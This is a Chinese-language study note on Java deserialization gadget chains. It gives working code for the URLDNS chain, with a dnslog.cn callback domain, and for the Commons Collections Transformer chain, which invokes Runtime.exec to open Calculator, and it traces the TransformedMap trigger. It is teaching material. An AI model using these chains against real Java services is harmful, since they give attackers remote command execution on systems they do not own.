day3—反序列化

URLDNS

利用链

1
2
3
4
5
6
7
HashMap.readObject()-->putVal(hash())
|
HashMap.hash()--> key.hashCode()-->key=new URL()
|
URL.hashCode()-->URLStreamHandler.hashcode()
|
URLStreamHandler.hashcode()-->getHostAddress()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
HashMap hashMap=new HashMap();
URL url = new URL("http://he2kr6.dnslog.cn");
hashMap.put(url,123);
//防止两次请求dns
Class clazz = Class.forName("java.net.URL");
Field f = clazz.getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url,123);
FileOutputStream fos = new FileOutputStream("Object");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(hashMap);
FileInputStream test =new FileInputStream("Object");
ObjectInputStream oi = new ObjectInputStream(test);
oi.readObject();

Common- Collections

Transformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//Transformer
public interface Transformer {
public Object transform(Object input);
}

//demo
public class Demo {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
}

首先我们会new一个Transformer数组,注意:它并不是一个对象,因为Transformer是一个接口,无法创建实例,它只是一个存储实例的数组!

ConstantTransformer

接下来就是数组中存在的参数,可以看到我们第一个参数创建了一个ConstantTransformer实例,我们跟进ConstantTransformer,可以看到他继承了Transformer接口,我们可以看到他的构造方法是将Object对象赋值给iConstant,而transform又是讲该对象返回

1
2
3
4
5
6
7
8
9
10
public class ConstantTransformer implements Transformer, Serializable {
...
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
}

InvokerTransformer

我们可以看到InvokerTransformer的构造方法是获取三个参数方法名、参数类型、参数,而他的transform方法存在反射,根据前面的知识,显而易见的需要在这里构造参数造成命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class InvokerTransformer implements Transformer, Serializable {
...
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

下面我们要思考几个问题,我们既然知道InvokerTransformer可以反射执行命令,根据之前学的反射知识,我们需要先获取到类,可以看到在InvokerTransformer.transform中反射获取类的方法为getClass,所以我们需要获取一个类的实例

由此,我们就很清楚的知道为什么需要ConstantTransformer,因为它的transform方法刚好返回一个对象

那现在只需要做的就是分别调用InvokerTransformer、ConstantTransformertransform方法,并把ConstantTransformer的返回值作为InvokerTransformer.transform的参数

接着我们介绍一下ChainedTransformer ,首先我们跟的时候发现他的初始化方法就是将输入的数组赋值,那我们再去看一下他的transform方法,这个就很有趣了

1
2
3
4
5
6
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

相信大家一眼就可以看出是按顺序调用数组内对象的transform方法,并把前一个的返回值作为下一个对象的输入,这和我们前面所需要的刚好匹配

那现在我们就可以写出一个最简单的命令执行方式

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);

当然我们直接去触发transformerChain.transform(null);肯定是不行的,我们需要利用其他的方法来触发,网上很多文章都是通过TransformedMap类来触发,那我们看一下这个类是如何触发的

我们查看TransformedMap可以看到他的初始化方法并不能直接调用,需要使用TransformedMap.decorate()方法去触发,传入参数有三个(Map类型,key,value),我们全局寻找有哪些地方使用transform方法,可以找到transformValue、transformKey两个地方,那我们需要知道在哪些地方调用了这两个方法,我们会看到在put方法里会调用,那么我们只需触发put方法就可以调用

所以我们最终的调用栈为

1
2
3
4
5
TransformedMap->put
TransformedMap->transformValue
ChainedTransformer->transform
ConstantTransformer
InvokerTransformer